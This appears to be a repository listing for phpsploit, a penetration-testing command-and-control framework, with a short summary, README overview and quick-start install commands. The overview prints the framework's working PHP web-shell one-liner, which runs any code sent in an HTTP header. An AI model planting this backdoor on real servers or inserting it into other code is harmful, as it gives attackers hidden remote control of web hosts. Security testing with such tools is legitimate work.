phpsploit
โ View on GitHubAI Summary: PhpSploit is a full-featured Command and Control (C2) framework that maintains a persistent presence on web servers using a polymorphic PHP one-liner. Its primary use case is for penetration testing and exploitation, enabling users to execute commands, manage files remotely, interact with a SQL console, and escalate privileges through over 20 available plugins. Notable features include obfuscated communication via HTTP headers and seamless file upload/download capabilities, facilitating robust interactions with target systems while bypassing standard PHP security measures.
README
Full-featured C2 framework which silently persists on
webserver via polymorphic PHP oneliner


Overview
The obfuscated communication is accomplished using HTTP headers under standard client requests and web server’s relative responses, tunneled through a tiny polymorphic backdoor:
<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>
Quick Start
git clone https://github.com/nil0x42/phpsploit
cd phpsploit/
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"
